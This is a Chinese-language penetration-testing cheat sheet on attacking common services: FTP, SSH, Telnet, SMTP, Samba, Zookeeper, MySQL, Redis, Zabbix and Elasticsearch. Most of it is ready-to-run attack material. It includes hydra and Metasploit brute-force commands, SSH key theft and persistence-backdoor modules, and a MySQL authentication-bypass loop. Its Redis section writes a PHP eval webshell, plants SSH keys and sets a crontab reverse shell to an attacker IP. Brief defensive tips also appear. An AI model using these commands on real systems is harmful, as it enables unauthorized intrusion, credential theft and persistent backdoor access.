目录

常见服务类漏洞

常见服务类漏洞

FTP 漏洞

FTP 协议介绍

FTP(File Transfer Protocol,文件传输协议)是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。 默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口,其中 20 用于传输数据,21 用于传输控制信息。但是,是否使用 20 作为传输数据的端口与 FTP 使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 20;如果采用被动模式,则具体最终使用哪个端口要服务器端和客户端协商决定。

Banner 信息暴露远程系统上运行的任何软件或服务的漏洞,因此在安装任何服务后需要隐藏其软件版本。

匿名登录 anonymous login

msf

1
scanner/ftp/anonymous 模块

中间人嗅探

攻击者可以利用嗅探工具来帮助他们嗅探网络中服务器和客户端之间传输的数据包并检索凭据,这被称为嗅探,然后将其用于未经授权的访问。如上所述,FTP用户可以使用用于用户名和密码的明文登录协议对自己进行身份验证。

FTP 暴力破解工具

hydra

1
hydra -v -L user.txt -P pass.txt ftp://ip

MSF

1
auxiliary/scanner/ftp/ftp_login

vsftpd 笑脸漏洞

版本:vsftp 2.3.4

后门:

用户名中包含 :) 就可以启用绑定在 6200 端口的后门 shell

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200509155756.png-water_print

防御

  1. 修改配置上的banner信息
  2. 加 ssl 证书(SSL_Enable=YES)
  3. 白名单限制登录
  4. iptables 设置登录次数与登录线程

SSH 漏洞

SSH 简介

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH 最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH 在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX 平台—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行 SSH。

端口扫描

nmap

1
nmap -sV -p 22 IP

msf

1
auxiliary/scanner/ssh/ssh_version

密码破解

msf

1
2
use auxiliary/scanner/ssh/ssh_login
set stop_on_success true

SSH 用户代码执行

msf

1
use exploit/multi/ssh/sshexec

使用 RSA 密钥建立 SSH 连接

配置:

1
2
3
4
5
6
7
8
ssh-keygen
cd /home/kali/.ssh
ls
cat id_rsa.pub > authorized_keys
scp msfadmin@ip:/home/msfadmin/.ssh/id_rsa ./
sudo vim /etc/ssh/sshd_config
PasswordAuthentication no
sudo /etc/init.d/ssh restart

连接:

1
ssh -i id_rsa username@ip

窃取 SSH 密钥

已获得 meterpreter 会话,窃取 SSH 密钥

1
2
3
4
use auxiliary/scanner/ssh/ssh_login 获取会话
use post/multi/gather/ssh_creds
set session 1
run

SSH 密钥持久性后门

已获得 meterpreter 会话,留下 SSH 密钥持久性后门

1
2
3
4
use auxiliary/scanner/ssh/ssh_login 获取会话
use post/linux/manager/sshkey_persistence
set session 1
run

防御

修改默认端口

1
2
3
sudo vim /etc/ssh/sshd_config
port 22222
sudo /etc/init.d/ssh restart

Telnet 漏洞

telnet 简介

Telnet 协议是 TCP/IP 协议族中的一员,是 Internet 远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用 telnet 程序,用它连接到服务器。终端使用者可以在 telnet 程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个 telnet 会话,必须输入用户名和密码来登录服务器。Telnet 是常用的远程控制 Web 服务器的方法。

  • /etc/issue.net
  • msf
    • use auxiliary/scanner/telnet/telnet_version

修改默认端口

  • /etc/services
  • sudo /etc/init.d/xinetd restart

通过嗅探窃取凭据

明文传输,可以嗅探

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200510144359.png-water_print

暴力破解

hydra

1
hydra -v -L user.txt -P pass.txt telnet://IP

msf

1
2
3
4
5
6
use auxiliary/scanner/telnet/telnet_login
set rhost
set stop_on_success true
set user_file user.txt
set pass_file pass.txt
run

保护 telnet 免受暴力攻击

  • 将允许来自 IP 地址 192.168.1.1 的流量访问端口 23 上的 telnet 服务
1
sudo iptables -A INPUT -s 192.168.1.1 -p tcp --dport 23 -j ACCEPT
  • drop 掉来自端口 23 上其它 IP 地址的流量
1
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

SMTP 漏洞

SMTP 简介

SMTP 是一种提供可靠且有效的电子邮件传输的协议。SMTP 是建立在 FTP 文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。SMTP 独立于特定的传输子系统,且只需要可靠有序的数据流信道支持,SMTP 的重要特性之一是其能跨越网络传输邮件,即 SMTP邮件中继 。使用 SMTP,可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。

SMTP 命令和返回码

  • MAIL FROM
    • 指定发件人地址
  • RCPT TO
    • 指定单个的邮件接收人:可能有多个 RCPT TO;常在 MAIL FROM 命令之后
  • VRFY
    • 用于指定用户/邮箱是否存在;由于安全原因,服务器常禁止此命令
  • EXPN
    • 验证给定的邮箱列表是否存在,也常被禁用
  • 返回码
    • 250:要求邮件操作完成
    • 500:要求邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)

Postfix 简介

postfix 是 ubuntu 的默认邮件传输代理(MTA)

http://www.postfix.org

SMTP 用户枚举

  • Ubuntu 系统用户就是 postfix 用户
  • telnet
  • Smtp-user-enum
  • msf

手动枚举 SMTP 用户

telnet

  • VERY ftp

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200510151810.png-water_print

  • MAIL FROM:ftp + RCPT TO:ftp

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200510152040.png-water_print

SMTP-user-enum

1
2
3
4
5
apt-get install smtp-user-enum
smtp-user-enum -M VRFY -u root -t 202.38.xxx.xxx
smtp-user-enum -M VRFY -U dic.txt -t 202.38.xxx.xxx
smtp-user-enum -M RCPT -u bin -t 202.38.xxx.xxx
smtp-user-enum -M EXPN -u bin -t 202.38.xxx.xxx

msf

1
auxiliary/scanner/smtp/smtp_enum

暴力破解

hydra

1
hydra -l msfadmin -P passwd.txt smtp://IP

Samba 漏洞

Samba 简介

Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。

SMB 简介

SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置 NetBIOS over TCP/IP 使得 Samba 不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

SMB 信息泄露

msf

1
auxiliary/scanner/smb/smb_version

nmap

1
2
nmap -sV -p 445 IP
nmap -sV -v -p 445 --script=smb-vuln*

nmblookup

nmblookup 用于查询 NetBIOS 名称,并使用基于 TCP/IP 的 NetBIOS 查询将它们映射到网络中的 IP 地址。这些选项允许将名称查询定向到特定的 IP 广播区域或特定的机器。所有查询都通过 UDP 完成。

nmblookup 是用于枚举域/工作站和 MAC 地址的有用命令

1
nmblookup -A 192.168.1.139

nbtscan

扫描在本地或远程 TCP/IP 网络上 NetBIOS 打开的名称服务器,因为这是查找打开共享的第一步

可以在整个子网中工作,而不是在单个 IP 上工作

1
nbtscan 192.168.1.1/24

SMBMap

SMBMap 允许用户枚举整个域中的 samba 共享驱动器。列出共享驱动器,驱动器权限,共享内容,上载/下载功能,文件名自动下载模式匹配,甚至执行远程命令。旨在简化大型网络中潜在敏感数据的搜索。

1
2
smbmap -H 192.168.1.139
smbmap -H 192.168.1.139 -u msfadmin -p msfadmin

暴力破解

hydra

1
hydra -L user.txt -P pass.txt -v smb://ip

命令执行

1
2
search smb 3.0.20
use exploit/multi/samba/usermap_script

Zookeeper

Zookeeper 简介

Zookeeper 是一个分布式服务框架,是 Apache Hadoop 的一个子项目,它主要是用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步服务、集群管理、分布式应用配置项的管理等。

环境搭建

1
2
3
4
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
mv zoo_sample.cfg zoo.cfg
./zkServer.sh start

未授权访问

Zookeeper 默认未设置密码,在未进行任何访问控制情况下,攻击者可通过执行 env 命令获得系统大量的敏感信息,包括系统名称、Java 环境。

Zookeeper 默认端口开启在 2181 端口

1
2
netstat -an | grep 2181
nmap -sV -p 2181 IP
1
nc IP 2181
  • envi
    • 打印有关服务环境的详细信息
  • stat
    • 列出关于性能和连接客户端的统计信息
  • ruok
    • 测试服务器是否运行在非错误状态
  • reqs
    • 列出未完成的请求
  • dump
    • 列出未完成的会话和临时节点

图形化界面工具:

  • ZooInspector

Mysql 漏洞

Mysql 简介

Mysql 数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql 作为其数据库支撑

目前很多架构都以 Mysql 作为数据库管理系统,例如 LAMP、和 WAMP 等

Mysql 信息收集

版本信息

1
2
3
4
nmap:
nmap -sV -p 3306 IP
msf:
use auxiliary/scanner/mysql/mysql_version

其它相关信息

1
use auxiliary/admin/mysql/mysql_enum

Mysql 密码破解

hydra

1
hydra -L user.txt -P password.txt -v mysql://IP

msf

1
use auxiliary/scanner/mysql/mysql_login

Mysql 漏洞利用

MySQL 身份认证漏洞(CVE-2012-2122)

https://seclists.org/oss-sec/2012/q2/493

memcmp() 的返回值都在[127,-128]之内,把两个字符串逐个字符的比较,如果找到不一样的,就把这两个字符相减后返回

memcmp()返回 0 的时候 check_scramble() 认证通过

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200512142357.png-water_print

漏洞利用

msf:

1
use auxiliary/scanner/mysql/mysql_authbypass_hashdump

Linux shell:

1
for i in `seq 1 1000`;do mysql -uroot -pwrong -h IP -P3306;done

Redis

redis 简介

Redis是大家常说的非关系型数据库中的一种,是一个开源的使用 ANSI 语言编写、支持网络可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的API

Redis 与 memcached 一样,为了保证效率,数据都是缓存在内存中。但 Redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave (主从)同步。

redis 未授权访问漏洞

默认的配置是使用 6379 端口,没有密码。这时候会导致未授权访问读写 Redis 数据。

在 web 目录下写入 Webshell

1
2
3
4
config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo();?>"
save

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200512150346.png-water_print

当数据库过大时,redis 写 shell 的小技巧:

1
2
3
4
5
6
<?php 
set_time_limit(0);
$fp=fopen('webshell.php','w');
fwrite($fp,'<?php @eval($_POST[1]);?>');
exit();
?>

写 ssh 公钥

1
2
3
4
5
6
7
ssh-keygen -t rsa
cd .ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h ip -x set payload
config set dir /root/.ssh
config set dbfilename authorized_keys
save

写 crontab

1
2
3
4
5
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

利用 redis 主从复制 rce

https://geekby.xyz/2019/07/15/redis-ji-yu-zhu-cong-fu-zhi-de-rce-li-yong-fang-shi/

Zabbix 漏洞

Zabbix 简介

Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统,基于 ServerClient 架构。可用于监视各种网络服务、服务器和网络机器等状态。

使用各种 Database-end 如:MySQL,PostgreSQL,SQLite,Oracle IBM DB2 储存资料。Server 端基于 C 语言、Web管理端 frontend 则是基于 PHP 所制作的。Zabbix 可以使用多种方式监视。可以只使用 Simple Check 不需要安装 client 端,亦可基于 SMTP 或 HTTP 各种协定做死活监视。

在客户端如 UNIX, Windows 中安装 Zabbix Agent 之后,可监视 CPU Load、网络使用状况、硬盘容量等各种状态。而就算没有安装 Agent 在监视对象中,Zabbix 也可以经由 SNMP、TCP、IMP、利用 PMI、SSH、 telnet 对目标进行监视。

另外, Zabbix 包含 XMPP 等各种 Item 警示功能

Zabbix SQL 注入漏洞

https://geekby.xyz/2019/03/01/zabbix-latest.php-sql-zhu-ru-lou-dong/

Zabbix 命令执行利用

管理员在安装配置 Zabbix 过程中,使用了弱口令或默认的用户名与口令。如:Admin/zabbix,这样,Zabbix服务器的用户认证就形同虚设。攻击者可以创建 system.run[command,] 监控项执行命令,甚至获取服务器 shell,进行各种挖矿行为。

https://www.jianshu.com/p/675b6385b7c0

Elasticsearch 漏洞

Elasticsearch 简介

Elasticsearch 是一个分布式、高扩展、高实时的搜索与数据分析引擎。它能很方便的使大量数据具有搜索、分析和探索的能力。充分利用 Elasticsearch 的水平伸缩性,能使数据在生产环境变得更有价值。

Elasticsearch 的实现原理主要分为以下几个步骤,首先用户将数据提交到 Elasticsearch 数据库中,再通过分词控制器去将对应的语句分词,将其权重和分词结果一并存入数据,当用户搜索数据时候,再根据权重将结果排名,打分,再将返回结果呈现给用户。

Elasticsearch 未授权访问漏洞

Elasticsearch 是 java 编写的企业级搜索服务,启动此服务默认会开放 HTTP 9200 端口,可被非法操作数据。

1
nmap -sV -p 9200 IP

默认开启的 9200 端口和使用的端口不对外公布,或架设内网环境。或者防火墙上设置禁止外网访问 9200 端口为 elasticsearch 增加登录验证,可以使用官方推荐的shield 插件,该插件为收费插件,可试用 30 天,免费的可以使用 elasticsearch-http-basic,searchquard 插件

CVE-2014-3120

https://geekby.xyz/2019/06/08/elasticsearch-ming-ling-zhi-xing-lou-dong/

CVE-2015-1427

https://geekby.xyz/2019/06/08/elasticsearch-groovy-sha-he-rao-guo/

CVE-2015-3337

https://geekby.xyz/2019/06/08/elasticsearch-mu-lu-chuan-yue-lou-dong/

CVE-2015-5531

https://geekby.xyz/2019/06/08/elasticsearch-mu-lu-chuan-yue-lou-dong-1/